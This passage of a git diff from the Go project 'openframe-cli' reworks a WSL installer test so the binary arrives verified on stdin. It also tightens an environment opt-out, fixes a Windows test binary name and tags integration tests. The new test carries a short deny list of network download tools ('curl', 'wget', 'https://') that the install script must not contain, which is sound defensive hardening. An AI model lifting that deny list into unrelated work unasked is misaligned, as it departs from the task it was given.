"https://example.com/checksums.txt", - "openframe-cli_linux_amd64.tar.gz", - ) +// TestStdinInstallScript locks the safety-critical shape of the WSL install: +// the binary arrives VERIFIED on stdin (cosign + SHA256, done on the Windows +// side by selfupdate.FetchVerifiedLinuxBinary) — the script itself must not +// download anything, and must install atomically (write tmp, chmod, rename). +func TestStdinInstallScript(t *testing.T) { + s := stdinInstallScript() for _, want := range []string{ "set -e", - `curl -fsSL -o archive.tar.gz "https://example.com/archive.tar.gz"`, - `curl -fsSL -o checksums.txt "https://example.com/checksums.txt"`, - "sha256sum archive.tar.gz", - `grep " openframe-cli_linux_amd64.tar.gz$" checksums.txt`, - `[ -n "$EXPECTED" ] && [ "$EXPECTED" = "$ACTUAL" ]`, - `install -m 0755 openframe "$BIN_DIR/openframe"`, + `mkdir -p "$BIN_DIR"`, + `cat > "$BIN_DIR/openframe.tmp"`, + `chmod 0755 "$BIN_DIR/openframe.tmp"`, + `mv "$BIN_DIR/openframe.tmp" "$BIN_DIR/openframe"`, } { if !strings.Contains(s, want) { - t.Errorf("install script missing %q:\n%s", want, s) + t.Errorf("stdin install script missing %q:\n%s", want, s) } } - - // The install must come AFTER the checksum check (never install unverified). - verifyIdx := strings.Index(s, "sha256sum") - installIdx := strings.Index(s, "install -m 0755") - if verifyIdx < 0 || installIdx < 0 || verifyIdx > installIdx { - t.Error("checksum verification must precede install") + // No network access from inside WSL: the old curl-based path checked only + // checksums.txt from the same release (no authenticity). + for _, banned := range []string{"curl", "wget", "https://"} { + if strings.Contains(s, banned) { + t.Errorf("stdin install script must not download anything, found %q:\n%s", banned, s) + } + } + // Self-contained: no positional args to bash (avoids the wsl.exe arg bug). + if strings.Contains(s, `"$@"`) || strings.Contains(s, `"$1"`) { + t.Error("stdin install script must be self-contained (no positional args)") } } diff --git a/internal/shared/wsllauncher/launcher.go b/internal/shared/wsllauncher/launcher.go index bbbf6014..f8934f3a 100644 --- a/internal/shared/wsllauncher/launcher.go +++ b/internal/shared/wsllauncher/launcher.go @@ -18,6 +18,8 @@ import ( "runtime" "strings" "time" + + sharedconfig "github.com/flamingo-stack/openframe-cli/internal/shared/config" ) const ( @@ -28,8 +30,12 @@ const ( distroEnv = "OPENFRAME_WSL_DISTRO" // BinaryInWSL is the OpenFrame executable name expected on the PATH in WSL. BinaryInWSL = "openframe" - // disableEnv, when set, bypasses forwarding and runs natively on Windows - // (unsupported; provided as a debugging escape hatch). + // disableEnv, when set, bypasses forwarding and runs the CLI natively on + // Windows. UNSUPPORTED, and not merely "untested": the cluster (Docker + + // k3d) lives inside WSL, and the native code paths that used to reach it + // from the outside were removed as dead. Read-only commands (--help, + // --version, completion) work; anything touching a cluster will fail with + // a platform error. It exists only to debug the launcher itself. disableEnv = "OPENFRAME_NO_WSL_FORWARD" ) @@ -64,11 +70,13 @@ var forwardedEnvVars = []string{ // ShouldForward reports whether this process must re-run itself inside WSL: only // the native Windows build forwards, and only when not explicitly disabled. +// The opt-out is strictly parsed: OPENFRAME_NO_WSL_FORWARD=0/false still +// forwards (the old any-non-empty check treated them as "disable"). func ShouldForward() bool { if runtime.GOOS != "windows" { return false } - return os.Getenv(disableEnv) == "" + return !sharedconfig.EnvBool(disableEnv) } // Forward re-runs `openframe ` inside WSL, passing through stdio, the diff --git a/internal/shared/wsllauncher/launcher_test.go b/internal/shared/wsllauncher/launcher_test.go index 0bbc3fc4..7fe6c68d 100644 --- a/internal/shared/wsllauncher/launcher_test.go +++ b/internal/shared/wsllauncher/launcher_test.go @@ -167,3 +167,4 @@ func TestWSLBinaryLookupScript(t *testing.T) { } } } + diff --git a/main_test.go b/main_test.go index 097fda32..b4332974 100644 --- a/main_test.go +++ b/main_test.go @@ -6,6 +6,7 @@ import ( "fmt" "os" "os/exec" + "runtime" "testing" "github.com/flamingo-stack/openframe-cli/internal/shared/executor" @@ -30,8 +31,13 @@ func TestExitCode(t *testing.T) { } func TestMainIntegration(t *testing.T) { - // Build test binary + // Build test binary. The .exe suffix is mandatory on Windows: os/exec + // resolves executables via PATHEXT, so an extensionless binary is + // "not found in %PATH%" even by explicit path. testBinary := "openframe-test-main" + if runtime.GOOS == "windows" { + testBinary += ".exe" + } buildCmd := exec.Command("go", "build", "-o", testBinary, ".") require.NoError(t, buildCmd.Run()) defer os.Remove(testBinary) diff --git a/tests/integration/bootstrap/bootstrap_test.go b/tests/integration/bootstrap/bootstrap_test.go index f314a1d8..5d11a089 100644 --- a/tests/integration/bootstrap/bootstrap_test.go +++ b/tests/integration/bootstrap/bootstrap_test.go @@ -1,3 +1,5 @@ +//go:build integration + package bootstrap_integration import ( diff --git a/tests/integration/cluster/cluster_test.go b/tests/integration/cluster/cluster_test.go index 16c93d8c..26ceb8d8 100644 --- a/tests/integration/cluster/cluster_test.go +++ b/tests/integration/cluster/cluster_test.go @@ -1,3 +1,5 @@ +//go:build integration + package cluster_integration import ( diff --git a/tests/integration/cluster/helpers_test.go b/tests/integration/cluster/helpers_test.go index 79e3a99c..d3e8ed01 100644 --- a/tests/integration/cluster/helpers_test.go +++ b/tests/integration/cluster/helpers_test.go @@ -1,3 +1,5 @@ +//go:build integration + package cluster_integration import ( diff --git a/tests/integration/cluster/main_test.go b/tests/integration/cluster/main_test.go index 0cba92f6..56c0027e 100644 --- a/tests/integration/cluster/main_test.go +++ b/tests/integration/cluster/main_test.go @@ -1,3 +1,5 @@ +//go:build integration + package cluster_integration import ( diff --git a/tests/integration/root/root_validation_test.go b/tests/integration/root/root_validation_test.go index 11b6d31b..77c66b12 100644 --- a/tests/integration/root/root_validation_test.go +++ b/tests/integration/root/root_validation_test.go @@ -1,3 +1,5 @@ +//go:build integration + package root_integration import (